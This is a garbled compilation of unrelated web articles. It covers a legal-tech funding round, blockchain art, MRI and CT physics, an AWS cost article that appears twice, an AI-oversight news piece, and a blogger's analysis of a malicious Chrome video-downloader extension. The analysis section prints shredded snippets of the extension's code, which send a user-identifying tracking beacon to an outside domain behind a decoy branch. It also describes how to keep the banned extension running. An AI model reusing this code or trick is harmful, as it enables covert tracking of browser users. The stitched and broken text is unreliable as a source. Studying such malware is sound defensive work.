PetPedia

LegalTech-project Tax Sketches has attracted a round of $ 1 million from a private angel investing in fintech and legal tech projects. The Tax Sketches team is building an algorithmic international tax planning platform.  The core of the platform is made up of algorithms for modeling corporate structures and a library of data received from contributors - tax and corporate lawyers and accountants from Europe, USA, CIS countries, Africa and Asia. Tax Sketches has 3 founders - Tatiana Vasilyeva, Vladimir Mologa and Vladislav Spiridonov. We would like to tell you briefly about their experience. Tatiana Vasilyeva is the CEO of the project.  Tatiana is an international lawyer with 20 years of experience in legal practice.  At one time, Tatiana was part of the famous Russian tax team "Pepeliaev Group" and led landmark tax litigations.  In 2010, Tatiana moved to Prague and created her own consulting agency Baseley & Partners.  The agency developed international tax structures for IT companies of Russian origin, including operating unicorns. Vladimir - CTO of the project.  Vladimir has 8 years of experience in IT.  Prior to joining Tax Sketches, Vladimir carried out full cycle project management in e-commerce, including management of software development and product implementation on the market. Vladislav - CPO of the project.  Vladislav has a legal and project background.  He structured the work of the Russian carsharing service with clients.  In 2019, Vladislav moved to the Czech Republic and managed international projects in a consulting company in the field of tax planning, regulatory requirements for IT companies, licensing and legal binding of crypto businesses. This is the third round of Tax Sketches.  In the beginning, the project was funded by the team.  After the creation and testing of the MVP, the project received the first injections from business angels, the penultimate round was in the spring of 2021. The platform will be monetized through b2b and b2c subscription models and referral rewards. The team believes that platform-generated anti-avoidance structure compliance reports can become the gold standard for KYC/AML, and want to ensure that "verifying by Tax Sketches" structures are accepted as KYC-compliant by payment institutions.

Tax Sketches Raises $1m in Funding to Build the Future of Legal Tech

The meme economy is real and it’s here to stay. Blockchain opens up a world of opportunities for new ways to transact, sign, and store information. While the majority of the population has heard about CryptoKitties, there is much more to the story than simply a game to breed cute kitties. Blockchain technology is bringing the meme economy to reality. Generally speaking, creative products like memes, art, and music struggle with publishing content on the internet without worry of piracy. Once content is copied and distributed for free, the value drops and the prospect of a market for that product disappears. For these digital products to build and retain value, they need to be defined by scarcity. Blockchains like Counterparty and Ethereum help solve this problem for digital art by providing a way to determine and agree upon scarcity. These tools create a platform to issue limited supplies of artwork by putting ownership on the blockchain, which creates globally agreed upon scarcity of these assets. Check out PepeDapp — Rare Pepe Cards on the Ethereum blockchain _Rare pepes on the Ethereum blockchain_www.pepedapp.com PepeDapp - Rare Pepes on ETH Benefits of art on the blockchain: **Authentication:**The artist/creator can “sign” transactions as they are added to the blockchain, allowing for digital artwork to carry the artist’s signature, effectively serving as authenticity verification. **Digital Automation:**The process of creating and selling art on the blockchain creates new paradigms for automating commision. On the blockchain, artists can prove they created a meme and be paid for its use, allowing for ongoing commissions through smart contract automation. Artists can issue limited supplies of artwork. The number associated with a piece can be tracked on a decentralized ledger (blockchain). Once a supply of an artwork has been issued to the blockchain, the supply cannot be changed. Supply: **Ownership:**What you own is held by you and only you. As long as you have the private key to the asset, you are the owner. **Global:**Empowered by the internet, artists can participate and sell their work on a global marketplace. **Decentralized:**Tools and guidelines are designed to reduce the power of gatekeepers and middlemen and increase the autonomy of artists. **Privacy:**Use of pseudonyms allows artists to create and sell art while staying anonymous, allowing them to create without judgement. Digital art is often valued for its relevance and ability to spread quickly. Now with the capacity to create, edition, and sell art in a digitally native manner, memes and art can capture current events and be shared in real time. Dank AF: **Censorship Resistant:**Once artwork is published, it cannot be deleted. This digital art revolution is already taking place. A Rare Pepe Card, digital trading cards issued on the Counterparty protocol, Homer Pepe sold for $35,000. As of May 2018, 367,286 CryptoKitties have been sold at an average price of $65. Check out PepeDapp — Rare Pepe Cards on the Ethereum blockchain _Rare pepes on the Ethereum blockchain_www.pepedapp.com PepeDapp - Rare Pepes on ETH Follow me on twitter Josh Petty

Digital Art on the Blockchain 🎨

Written by Judy Gichoya and Alexandre Cadrin-Chênevert recenty directed a post to us from one of the fast.ai student asking about housefield units conversion for MRI. Jeremy Howard Question This post summarizes an overview of the physics of image formation for MRI and CT scans to help understand the concept of intensities and mapping For the impatient reader, answered this question Alexandre Cadrin-Chênevert If this of interest then read on…. What is a modality ? Radiology relies on various types of cameras (or ) — that work differently to capture images from patients. These include ultrasound , Computed Tomography (CT scan), Magnetic Resonance Imaging (MRI), PET/CT , and plain Xray. Yes, think of the various modalities related to the different camera types for medical imaging. In the picture below, you can see the appearance of the liver across different cameras (modalities) modalities Liver images aquired through ultrasound Images of the liver / upper abdomen acquired from an MRI CT scan images of the upper abdomen including liver How are MRI images formed? MRI physics can be summarized as . signal generation , image formation and sequences A: Signal Generation Our bodies are made largely of water (72% of our bodies are made up of water). Water is composed of 2 Hydrogen molecules and 1 oxygen molecule (H20). This translates to a large amount of hydrogen molecules in our bodies. Hydrogen is a chemical element with an atomic number 1 (H+). Water composition in the human body The MRI machine is a big strong magnet (and the unit Tesla is used to signify the strength of the main magnet). When you are sitting at the core of the MRI machine for example for a Head MRI , then most of the hydrogen atoms in your body align to the direction of the main magnet (b0). This is called longitudinal magnetizaton. At rest, all your hydrogen atoms are spinning on their axis — Watch the video tagged below to learn about precession Since we know the main magnet strength (B0), then we can calculate Lamor frequency which can be used to generate signal to the hydrogen atoms that in precession. lamor frequency In the figure above, the H+ are at a precession frequency of 64 MHz evenly distributed across the magnetic field. The knowledge of the precession frequencies allows us to focus on a section of the body eg abdomen by shifting the magnetic field so we can apply a signal to a specific group of atoms rotating at a predetermined frequency. In addition to the main magnetic field, the MR machine has a radiofrequency (RF) signal that is applied perpedicular (90 degrees) to the main magnet and flips the hydrogen atoms to 90 degrees relative to the main magnet. I like to think of this as the process of tuning in to the radio where you are always looking for a specific frequency. This is called . The hydrogen atoms continue their precession, but also lose energy to go to a lower energy state (in the direction of the main magnet). transverse magnetization The above steps are summarized below …. Recap of signal generation As the hydrogen atoms lose energy to align themseves to the direction of the main magnet ( ), the signal they generate can be captured and plotted as a curve shown below. This curve is used to determine the — longitudinal relaxation T1 time T — T1 time which is the time require for protons to recover 63% of their longitudinal magnetization. T1 — time required for protons to recover 63% of their longitudinal magnetization Different body tissues will have different T1 times , and hence when you look at an MRI , you can identify fat (short T1) versus CSF. Difference in T1 curves across various tissues Another phenomenon that is occuring after the 90 degrees RF is summarized below. The hydrogen atoms are in phase at the beginning of the 90 degree RF pulse, but they undergo a spin -lattice interaction and get out of phase. If you plot this curve of , then you get a free induction decay T2* curve. T2 * curve T T2 time — is the time required for protons to lose 63% of their transverse magnetization. Now that we have explained T1 and T2 signals, we will move on to an example of meningioma to help understand the MR signals. Please note physics MR is a wide topic and we have not described concepts like diffusion , echo, gradient and TOF sequences,as well as artifacts . works by shifting the T1 curve to the left (shortens the T1 curve). Contrast Meningioma on MR In the above image, the left image is and the meningioma is difficult to identify. After administration of IV contrast (gadolinium), the T1 curve of meningioma shifts to the left and is seen as an enhancing lesion on the right image. T1 weighted image, CT physics — Hounsfield units (HU) CT images are not developed based on the hydrogen magic for MR. Instead , they use Xrays, a form of radiation focussed on part of the body being imaged. Different parts of the body (weaken) the Xray beam at different rates. Therefore to standardize the different values of attenuation, the is used to measure how easily a beam penetrates a a material. Since we know the attenuation of water to be zero, then the HU is calculated relative to water. attenuate attenuation coefficient HU calculation Therefore by measuring a region of interest, you can calculate the HU of a lesion and determine what it is — for example a fat containing lesion or a fluid containing lesion as a cyst. http://www.odec.ca/projects/2007/kimj7j2/index_files/Page1674.htm Tying it together (Deep Learning) Image segmentation is the process of drawing contours of an object to delineate its boundaries. In medical imaging, segmentation allows surface or volumetric quantification of a lesion or an anatomic structure. To train this kind of model, you need to show multiple images iteratively to the model with the associated segmented areas, often drawn manually by radiologists. U-Net is a specialized deep learning model architecture that allows automatic segmentation. U-Net: Convolutional Networks for Biomedical Image Segmentation From : U-Net: Convolutional Networks for Biomedical Image Segmentation ( ) https://arxiv.org/pdf/1505.04597.pdf U-net is designed intrinsically to perform very well with a small number of training cases. The architecture progressively encodes the initial image in a numerically squeezed representation, literally at the bottom of the U. Then, this bottom representation is decoded symmetrically to generate the automatic segmented area, also defined as a mask, as the final output. The training is optimized to minimize the difference between the proposed segmented area with the manually segmented ground-truth area. This property that allows an efficient training with a very small number of cases is particularly useful in medical imaging where expert manual segmentation is very costly. For meningioma segmentation, this technique could intuitively be tried on a post-gadolinium MRI sequence which is the sequence with the according to this pathology (i.e. meningiomas typically show avid enhancement, and bright signal, relative to the background). highest signal to noise ratio Hopefully this clarifies the idea of signals across CT and MR and helps you on your deep learning path. Consider joining our community that intersects radiology and imaging sciences with deep learning scientists here : . https://tribe.radai.club We discuss deep learning on our monthly journal club archived here : . Our next journal club is on 22nd February , 8 pm EST with a presentation from on — https://youtu.be/xoUpKjxbeC0 Timnit Gebru “Using deep learning and Google Street View to estimate the demographic makeup of neighborhoods across the United States” https://register.gotowebinar.com/register/8696551324404512003 Say thanks and references Numerous images of physics lecture were obtained from one of my best teachers at — Indiana University Radiology Department Dr. Isaac Wu Read more about MR physics here — MRI made easy

Physics for the deep learning computer vision expert

If you bumped into this page thinking you’re gonna get rich with some get-rich-quick scheme, I’m sorry to disappoint you. This article will rather talk about how to decrease your cloud cost bills by $1 million. By doing that, you will have essentially generated an extra million dollars in revenue — which you can spend buying my online course on how to get rich with AWS (link to course here). Cloud cost is often overlooked and unaccounted for at the beginning of Companies’ projects. The 2021 HashiCorp survey found that almost 40% of companies overspent on cloud costs in 2021 [1]. In 2023, almost all companies (94%) admitted that they were wasting money on the cloud [1] and at least 30% of cloud cost was wasted [2]. Cloud spending was almost $500 billion in 2022 — therefore we’re talking about $150 billion wasted a year!! Not only this is a concern of missed revenues but also poor sustainability practices. $150 billion of wasted energy! These findings involve large enterprises as well as smaller ones, from high-cloud maturity to low-cloud maturity. It refers to AWS, but the same principles can be applied to any other cloud provider. So, if any part of your job is in the cloud, then this article is for you. I’m speaking from a data engineer perspective, but the same learnings can be applied to other software engineering practices. Let’s dive in. What does it take to spend $1 million in cloud costs in a year? This kind of cloud bill is usually restricted to very large enterprises that operate globally with millions of customers. To give you an idea, a $1 million cloud bill can result from a Spark ETL job processing ~1.5Tb per hour 24x7 for 365 days a year. Another example might be an application that receives billions of requests a day from multiple locations in the world. In a large enterprise, there are hundreds of applications at this size — resulting in billion-dollar contracts with cloud-providers. For example, Airbnb had a commitment to spend $1.2 billion on cloud resources over five years at the end of 2019 [3]. At Expedia we slashed costs for a data processing ETL costing $1.1 million dollar a year to a mere $100,000 a year by implementing optimisation practices. That’s a 91% cost reduction!! Not all companies have applications of such a huge size but imagine cutting your cloud cost by 90% just for a single application or for your entire company. How do we start saving? STEP 1: Challenge your design assumptions Go and get a list of your most expensive applications and challenge your design assumptions. Are you building an application that has a 99.999% availability and sub-millisecond latency but realistically users would be good enough with a 99% availability and hundreds of millisecond latency?
Are you creating datasets with billions of rows but users would only be using aggregations of some of the measures?
Are you landing data real-time but data is only analysed once a day?
Are you refreshing the cache every 10 seconds but it’s only really changing across days? All these questions go back to the most important question: how is the application going to be used? What’s the business value for it to exist? How is the application helping us to achieve a given goal? Of course, all these answers are very often unclear at the beginning of a project; but that’s why design should always be an iterative process — allowing changes to happen as seamlessly as possible. Engineers should embrace evolution and change, aligning application development with impact. STEP 2: Fine-tune your infrastructure resources to your needs The second step consists of providing the application with the right resources and tuning it to the right infrastructure. As an engineer, be aware of how cloud costs are calculated. For example, AWS provides spot instances, where you can bid for the cluster price — this is particularly useful if you have fault-tolerant and flexible applications. Use them if you can — AWS claims up to 90% reduction in costs [4]. Some other considerations you might want to address are: Are you serving customers globally or only in one geographical area? Do you really need your infrastructure to live across the globe or can you set it up closer to your customer base?
Are you over-provisioning your cluster instances? Try to ensure there is enough capacity to handle peak loads without unnecessary costs. Utilise auto-scaling to dynamically adjust resources based on actual demand, preventing overpayment for idle resources.
If you’re working with data and Spark, make sure you understand Spark concepts and tuning! If you don’t, take a look at the following resources [5] [6] [7] [8] [9]. STEP 3: Use AWS Graviton instances There are little to no drawbacks in utilising AWS Graviton instances. AWS has invested heavily in creating the most cost-effective processors. You can get up to 40% reduction in cloud spending just by switching from an intel-based processor to an ARM-based processor [10]. The only caveat to this is that your application needs to be compatible with the ARM-based processors that Graviton runs on. If you’re dealing with a managed service such as RDS or OpenSearch then there’s no complication at all in switching — AWS deals with the underlying OS and application compatibility. If you’re building your own application, then you might need to recompile the package depending on which language you’re using — Java and other languages require no change whereas Python requires some attention. STEP 4: Monitor your cost spending and educate on cost awareness Lastly, don’t forget to keep monitoring your costs for unexpected peaks and surprises. The cost on day 0 of your application will be different from the cost on day 170. Make sure you keep track of the changes, and you understand why the change is happening: is it stacking s3 storage costs or is it just a one-off spike? Set up the necessary alerts and operational guidebooks! Importantly, implement cost allocation tags to track spending by department, project, or environment. Avoid the risk of creating a data swamp where cost is untraceable or requires a long journey across different log systems. It should be quick and simple to go back to any given application cost. Final thoughts Wherever you are working, balancing the delivery of new features with the optimisation of current ones is hard. Who hasn’t been pressured to deliver new quirky features at the speed of light. However, it is essential for both engineers and managers to make deliberate and proactive decisions about their current projects, managing risks and opportunities effectively. If you bumped into this page thinking you’re gonna get rich with some get-rich-quick scheme, I’m sorry to disappoint you. This article will rather talk about how to decrease your cloud cost bills by $1 million. By doing that, you will have essentially generated an extra million dollars in revenue — which you can spend buying my online course on how to get rich with AWS (link to course here). If you bumped into this page thinking you’re gonna get rich with some get-rich-quick scheme, I’m sorry to disappoint you. This article will rather talk about how to decrease your cloud cost bills by $1 million. By doing that, you will have essentially generated an extra million dollars in revenue — which you can spend buying my online course on how to get rich with AWS ( link to course here ). link to course here Cloud cost is often overlooked and unaccounted for at the beginning of Companies’ projects. The 2021 HashiCorp survey found that almost 40% of companies overspent on cloud costs in 2021 [ 1 ]. In 2023, almost all companies (94%) admitted that they were wasting money on the cloud [ 1 ] and at least 30% of cloud cost was wasted [ 2 ]. Cloud spending was almost $500 billion in 2022 — therefore we’re talking about $150 billion wasted a year!! 1 1 2 Not only this is a concern of missed revenues but also poor sustainability practices. $150 billion of wasted energy! These findings involve large enterprises as well as smaller ones, from high-cloud maturity to low-cloud maturity. It refers to AWS, but the same principles can be applied to any other cloud provider. So, if any part of your job is in the cloud, then this article is for you. I’m speaking from a data engineer perspective, but the same learnings can be applied to other software engineering practices. Let’s dive in. What does it take to spend $1 million in cloud costs in a year? What does it take to spend $1 million in cloud costs in a year? This kind of cloud bill is usually restricted to very large enterprises that operate globally with millions of customers. To give you an idea, a $1 million cloud bill can result from a Spark ETL job processing ~1.5Tb per hour 24x7 for 365 days a year. Another example might be an application that receives billions of requests a day from multiple locations in the world. In a large enterprise, there are hundreds of applications at this size — resulting in billion-dollar contracts with cloud-providers. For example, Airbnb had a commitment to spend $1.2 billion on cloud resources over five years at the end of 2019 [ 3 ]. 3 At Expedia we slashed costs for a data processing ETL costing $1.1 million dollar a year to a mere $100,000 a year by implementing optimisation practices. That’s a 91% cost reduction!! Not all companies have applications of such a huge size but imagine cutting your cloud cost by 90% just for a single application or for your entire company. How do we start saving? STEP 1: Challenge your design assumptions Go and get a list of your most expensive applications and challenge your design assumptions . challenge your design assumptions Are you building an application that has a 99.999% availability and sub-millisecond latency but realistically users would be good enough with a 99% availability and hundreds of millisecond latency? Are you creating datasets with billions of rows but users would only be using aggregations of some of the measures? Are you landing data real-time but data is only analysed once a day? Are you refreshing the cache every 10 seconds but it’s only really changing across days? Are you building an application that has a 99.999% availability and sub-millisecond latency but realistically users would be good enough with a 99% availability and hundreds of millisecond latency? Are you creating datasets with billions of rows but users would only be using aggregations of some of the measures? Are you landing data real-time but data is only analysed once a day? Are you refreshing the cache every 10 seconds but it’s only really changing across days? All these questions go back to the most important question: how is the application going to be used? What’s the business value for it to exist? How is the application helping us to achieve a given goal? how is the application going to be used? What’s the business value for it to exist? How is the application helping us to achieve a given goal? Of course, all these answers are very often unclear at the beginning of a project; but that’s why design should always be an iterative process — allowing changes to happen as seamlessly as possible. Engineers should embrace evolution and change, aligning application development with impact. very often unclear at the beginning of a project; STEP 2: Fine-tune your infrastructure resources to your needs STEP 2: Fine-tune your infrastructure resources to your needs The second step consists of providing the application with the right resources and tuning it to the right infrastructure. As an engineer, be aware of how cloud costs are calculated. For example, AWS provides spot instances, where you can bid for the cluster price — this is particularly useful if you have fault-tolerant and flexible applications. Use them if you can — AWS claims up to 90% reduction in costs [ 4 ]. 4 Some other considerations you might want to address are: Are you serving customers globally or only in one geographical area? Do you really need your infrastructure to live across the globe or can you set it up closer to your customer base? Are you over-provisioning your cluster instances? Try to ensure there is enough capacity to handle peak loads without unnecessary costs. Utilise auto-scaling to dynamically adjust resources based on actual demand, preventing overpayment for idle resources. If you’re working with data and Spark, make sure you understand Spark concepts and tuning! If you don’t, take a look at the following resources [5] [6] [7] [8] [9]. Are you serving customers globally or only in one geographical area? Do you really need your infrastructure to live across the globe or can you set it up closer to your customer base? Are you over-provisioning your cluster instances? Try to ensure there is enough capacity to handle peak loads without unnecessary costs. Utilise auto-scaling to dynamically adjust resources based on actual demand, preventing overpayment for idle resources. If you’re working with data and Spark, make sure you understand Spark concepts and tuning! If you don’t, take a look at the following resources [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ]. make sure you understand Spark concepts and tuning! 5 6 7 8 9 STEP 3: Use AWS Graviton instances STEP 3: Use AWS Graviton instances There are little to no drawbacks in utilising AWS Graviton instances. AWS has invested heavily in creating the most cost-effective processors. You can get up to 40% reduction in cloud spending just by switching from an intel-based processor to an ARM-based processor [ 10 ]. 10 The only caveat to this is that your application needs to be compatible with the ARM-based processors that Graviton runs on. If you’re dealing with a managed service such as RDS or OpenSearch then there’s no complication at all in switching — AWS deals with the underlying OS and application compatibility. If you’re building your own application, then you might need to recompile the package depending on which language you’re using — Java and other languages require no change whereas Python requires some attention. STEP 4: Monitor your cost spending and educate on cost awareness STEP 4: Monitor your cost spending and educate on cost awareness Lastly, don’t forget to keep monitoring your costs for unexpected peaks and surprises. The cost on day 0 of your application will be different from the cost on day 170. Make sure you keep track of the changes, and you understand why the change is happening: is it stacking s3 storage costs or is it just a one-off spike? Set up the necessary alerts and operational guidebooks ! Set up the necessary alerts and operational guidebooks Importantly, implement cost allocation tags to track spending by department, project, or environment. Avoid the risk of creating a data swamp where cost is untraceable or requires a long journey across different log systems. It should be quick and simple to go back to any given application cost. Final thoughts Wherever you are working, balancing the delivery of new features with the optimisation of current ones is hard. Who hasn’t been pressured to deliver new quirky features at the speed of light. However, it is essential for both engineers and managers to make deliberate and proactive decisions about their current projects, managing risks and opportunities effectively.

How to Earn $1 Million With AWS in One Year

কিভাবে এক বছরে AWS দিয়ে $1 মিলিয়ন উপার্জন করবেন

So verdienen Sie mit AWS in einem Jahr 1 Million US-Dollar

Cómo ganar 1 millón de dólares con AWS en un año

Comment gagner 1 million de dollars avec AWS en un an

AWS से एक साल में $1 मिलियन कैसे कमाएँ

AWS で 1 年で 100 万ドルを稼ぐ方法

AWS를 통해 1년 안에 100만 달러를 버는 방법

Como ganhar US$ 1 milhão com a AWS em um ano

Как заработать 1 миллион долларов с помощью AWS за год

AWS ile Bir Yılda Nasıl 1 Milyon Dolar Kazanılır?

Cách kiếm 1 triệu USD với AWS sau một năm

如何在一年内利用 AWS 赚取 100 万美元

It’s been 35 years since computer scientist Tim Berners-Lee sent a memo detailing his idea of a on March 12, 1989. While it was mostly ignored by his colleagues at CERN, the European Organization for Nuclear Research, Berners-Lee decided to go with it and, well, here we are. It’s 2024 and now the big hype is generative AI, cloud computing, and virtual reality. "distributed hypertext system" These are exciting times. Researchers have Devin, the first AI software engineer,
and an AI version of Marilyn Monroe was at SXSW. The NBA is working on a great, new innovative that creates a fully-immersive environment. unveiled introduced generative gaming tool But generative AI and deepfake technology also portends a dangerous future if they are not built and utilized with regulation. A new report commissioned by the US State Department paints an alarming picture of the “catastrophic” national security risks posed by rapidly evolving artificial intelligence, warning that time is running out for the federal government to avert disaster. The US government has been urged to act "quickly and decisively” to mitigate significant national security risks posed by AI, which, in the worst-case scenario, could present an "extinction-level threat to the human species” according to the report. The European Union’s parliament on Wednesday approved the world’s first major set of regulatory ground rules to govern the media-hyped artificial intelligence at the forefront of tech investment. The EU AI Act, first written in 2021, divides the technology into categories of risk, ranging from “unacceptable” — which would see the technology banned — to high, medium and low risk. The regulation is expected to enter into force at the end of the legislature in May. The US government and the EU are not wrong in their assessments of the dangers of AI.  India also has its concerns over the technology. Millions of India’s citizens are expected to vote in April or May and the to ensure AI is not used to manipulate media and endanger the integrity of the elections. government has now moved A from the Institute for the Future of Work has found that exposure to new technologies including trackers, robots and AI-based software at work is bad for people’s quality of life. groundbreaking study And AI is affecting jobs. In a by Quartz, IBM told employees on Tuesday that it is slashing jobs in its marketing and communications division. IBM is the latest in a wave of tech companies to announce layoffs early this year. Tech giants like Google-parent Alphabet, Microsoft, and Amazon all announced job cuts in 2024. More recently, they were joined by , , and . report Sony Bumble Expedia According to IBM, “This rebalancing is driven by increases in productivity and our continued push to align our workforce with the skills most in-demand among our clients, especially areas such as AI and hybrid cloud.” What’s clear is that AI is advancing in terrific ways and is creating new and fresh opportunities for companies and consumers alike, but there are inherent dangers built into the technology that creates a need for at least some level of oversight and regulation.

AI: the Good, the Bad, and the Need for Oversight

Showing Video Ads in React Native - Part 2: Android (including Audio Play)

Chrome extensions have always been a major selling point for the browser. However, some developed them to snoop on everyday users. Since Chrome v9, Chrome extensions have been a core part of the browser’s functionality powered by the browser’s comprehensive extensions API. The sheer size of the Chrome Web Store with over 190,000 extensions/web apps and over 1.2 billion installs is a testament to how successful this launch was. Extensions add a wide range of possible capabilities and can be installed in seconds from the Chrome Web Store. Some extensions such as LastPass, uBlock Origin, Tampermonkey, and more have enjoyed immense success on the platform. Smaller independent developers, like myself, are also able to develop themes and extensions all with a one-time payment of $5 to register as a developer. This allowed my high school self to launch a theme called which has over 300,000 users around the world. Material Dark Despite these benefits, the platform has become a to perform spying and phishing attacks. According to , Chrome makes up roughly 70% of today’s browser market share. Chrome’s large user base allows attackers to consolidate their attacks on Chrome itself. Also, browsers like Edge and many other can install malicious extensions through the Chrome store. prime attack vector for hackers Statista Chrome clones Throughout the years, there is more and more evidence that malicious Chrome extensions pose a larger threat to users. In 2015, Google from their store. In 2020, we still face a similar issue where this time, . It seems that thwarting all possible malicious extensions is a never-ending race. removed over 200 ad injecting extensions attackers are going after our browsing behaviors Attackers employ a range of strategies to lure unsuspecting users into their trap. The most basic types of attacks on the Chrome store are extensions that pose as other legitimate extensions out there such as . Higher level attacks include injecting advertisements into a page, redirecting users to phishing sites, tracking user browsing behavior, stealing user credentials from sites, mining Bitcoin, and more. Despite Chrome’s more rigid enforced a couple of years ago, these malicious attacks can very well still occur if a loophole is found. Snapchat for Chrome Content Security Policy This extension is a grim reminder that we live in a world where over 10,000 people think Facetime is available on Chrome. Today, attackers have gotten more crafty with their attacks. Popular extensions with a large and trusting community are now sometimes sold to those who have harmful intentions. Attackers can modify the source to include malicious code. Thanks to feature for extensions, the now harmful extension can reach most Chrome users in days. A notable example of this is . Chrome’s Autoupdate NanoAdblocker Most of the articles written regarding the latest batch of banned extensions have been quite shallow, so I hope this series of blog posts will help shed some light on what these extensions are doing with your browsing data. First Look: Vimeo Video Downloader On November 19th, 2020, security researchers in Cz.nic, a domain registration company for .cz domains, discovered extensions that were . Avast confirmed were also tracking browsing behavior upwards of 3 million users and redirecting users based on the current website they are trying to access to monetize traffic. According to Avast's post, covertly tracking browsing habits 28 more extensions the virus detects if the user is googling one of its domains or, for instance, if the user is a web developer and, if so, won't perform any malicious activities on their browsers. It avoids infecting people more skilled in web development, since they could more easily find out what the extensions are doing in the background. As an example, I will be analyzing for this series of blog posts. Vimeo™ Video Downloader As of 12/18, this extension was no longer available to be downloaded from the Chrome Web Store, but we can still see the stats . In the final days of the extension’s existence, it was able to rack up 4.77 stars with 766 reviews and 510,424 total weekly users. This by no means was an unpopular extension and it is probably not the last we will see of these malicious extensions. here Installation Disclaimer: I am by no means a security researcher or even an expert. I just happen to have an affinity for studying vulnerabilities and this is my experience in stepping through what the extension does. I do not encourage people to obtain a copy of these extensions without taking the necessary precautions (use a virtual machine, a VPN, edit hosts list to allow/block ingress and egress to malicious hosts, etc.) To install, you will have to enable in chrome://extensions and click on Load Unpacked if you have an unzipped copy of the extension. However, this is not enough since Chrome will disable the extension after a couple of minutes. To fix this, you need to change the ID of the Chrome extension. This can be done by removing the key and fields in manfiest.json. Once that’s done, perform the first step again and the extension should be loaded with a brand new ID. developer mode differential_fingerprint Initial Look at the Code Given that the extension was flagged, I was curious to see the code that got this flagged in the first place. One tool that is great for viewing the source of Chrome extensions without having to download it is . If you already have the source, any editor like VSCode would work just as well, if not better. CrxViewer To remove any liability of me “distributing” code that can be used for bad intentions, I will not be providing the full source. You, the reader, have full liberty to seek it for yourself. 😎 Wait, where’s the link to the code? Running yields the following directory structure: tree .
├── css
│   ├── content.css
│   ├── popup.css
│   └── thankyou.css
├── fonts
│   ├── ...
├── img
│   ├── ...
├── js
│   ├── bg_script.js
│   ├── jquery.js
│   ├── popup.js
│   ├── thankyou.js
│   ├── tippy.all.js
│   └── vimeo_com.js
├── _locales
│   ├── ...
├── manifest.json
├── popup.html
└── thankyou.html

52 directories, 84 files The part of the source I will focus on is the folder, which is the meat of the extension. js Manifest File A glance at the extension’s manifest file should give us some hint as to what this extension can do. The first section I looked into was the section since background scripts are typically responsible for what is run inside the extension window itself. Strangely, the flag is set to , which according to Chrome’s documentation, means the extension uses the . To give the creator the benefit of the doubt, let's say this API is used for fetching the videos to be downloaded rather than pinging some remote server. background persistent true chrome.webRequest API : { : , : [ , ]
} "background" "persistent" true "scripts" "js/jquery.js" "js/bg_script.js" In the content_scripts section, it states that the script will execute for all frames in the page using and . These files will most likely be responsible for the functionality of the extension itself, which is to fetch all videos on a given page and their download URLs. jquery.js vimeo_com.js : [ { : , : [ ], : [ , ], : [ ], : } ], "content_scripts" "all_frames" true "css" "css/content.css" "js" "js/jquery.js" "js/vimeo_com.js" "matches" "*://*.vimeo.com/*" "run_at" "document_end" Moving onto the next section, the extension’s (content security policy) dictates what the script and cannot do to help prevent things such as XSS attacks. What is a big red flag in this extension that is allowed is using the eval function by including the flag in the field. According to , the inclusion of should’ve flagged this extension for manual review, but somehow it still made it to the Chrome store. Some info I found about the review process can be read . CSP unsafe-eval content_security_policy this StackOverflow question unsafe-eval here : , "content_security_policy" "script-src 'self' https://*.vimeo.com 'unsafe-eval'; object-src https://*.vimeo.com 'self'" The last notable section is the key in the manifest file. permissions : [ , , , , , , ] "permissions" "webRequest" "storage" "tabs" "downloads" "" "management" "cookies" Some points of interest include the fact that the extension can send web requests, read your tabs, read your downloads, execute on any page (from rule), read all your extensions, and all your cookies for any page. <all_urls> bg_script.js As stated above, the one thing that seemed suspicious was the fact that the background script was set to be persistent, which is usually not the case in many extensions. With this in mind, the question becomes, what requests could the extension possibly need to make? Upon loading the file, the code is an absolute hot mess. However, it’s not something any JS beautifying tool can’t fix. Starting from the top, one block of code stood out in particular. One of the registered handlers listened to responses sent from a server defined in and all the response headers greater than 20 chars in length were saved in local storage. x[2] chrome.webRequest.onCompleted.addListener( {
    a.responseHeaders.forEach( {
        a.value && a.value.length > && (localStorage[a.name.toLowerCase()] = a.value)
    })
}, { : [ + x[ ] + ], : [ ]
}, [ ]), ( ) function a ( ) function a 20 urls "*://" 2 "*" types "image" "responseHeaders" A quick search to find what got pushed into array x shows that we are listening to a domain called . To me, this was a very strange URL for anyone to use to get extension usage analytics. This was certainly not something associated with Google Analytics. count.users-analytics.com C = {
    x.push(y), x.push(E); a = ;
    x.push(a)
}, ( ) function var "count.users-analytics.com/" Nothing really useful came out of trying to find out the WHOIS information for the domain itself. The only piece of info that could be useful is its 2020–12–03 15:27:18 UTC registration date, indicating it was very recent. Out of curiosity, I pinged users-analytics.com and received no response. However, actually did return a response in the form of a 1x1 GIF. At first, I wasn’t sure why a GIF was returned but then it hit me that this acts as a . In short, a tracking pixel is a technique used by websites to see if users loaded an email, webpage, etc. It usually is in the form of a 1x1 GIF which makes it invisible to the typical user. count.users-analytics.com tracking pixel Now to me, this doesn’t seem to be too big of an issue since this is the same technique employed by Google, Facebook, Microsoft, etc. for their trackers. However, it is sending information to some unknown domain which is very suspect. The URL requested is in the form of: https://count.users-analytics.com/count.gif?_e_i=downl-imeo&ed_=aaaaaaaabci&_vv=1.1.9&r=0.0001&_l=en-US&_k=br&t=1600000000000&_idu=5wxzrw3585ososi1 Query parameters have been edited for privacy. To summarize the query parameters (important ones at least): and other variants - the identifier for the extension being used which is randomly chosen. _e_i https://gist.github.com/f5ba4f20d6e5c4e27fd9866e5bde0729 and other variants - the version of the extension. _vv and other variants - some random value from . r Math.random() https://gist.github.com/cb2bf2f0ffed68e29ea9e606643513c1 and other variants - your locale. _l and other variants - timestamp the extension was installed. t and other variants - an identifier that identifies you as the user. This ID is first generated when you install the extension and is stored within Chrome’s storage API. _idu https://gist.github.com/1d88557ff674dda6e1bbed9901b1a47e The request to this dingy analytics domain is triggered within this function . t { b = Image,
        c = .random();
    c += , c > ? b.src = [ , m(), k(), l(), i(), n(), j(a), p()].join( ).replace( , ) : b.src = [ , x[ ], g(), q(), m()].concat(s([k(), l(), i(), n(), o(), j(a), p()])).join( ).replace( , )
} ( ) function t a var new Math 1 2 "https://www.google-analytics.com/_utm.gif?" "" /&$/ "" "https://" 2 "" /&$/ "" Notice how the Google Analytics URL is also shown, but don’t let that fool you. If you read this carefully, you’ll see that the condition is always false. starts as a number from 0 (inclusive) to 1 (exclusive). The code subsequently adds 1, but the resulting value is never greater than 2. A request will always be made to the URL stored in , which is . How cheeky. c > 2 c x[2] counter.users-analytics.com { b = Image,
        c = .random(); c += ; (c > ) {
        b.src = [ , m(), k(), l(), i(), n(), j(a), p()].join( ).replace( , )
    } {
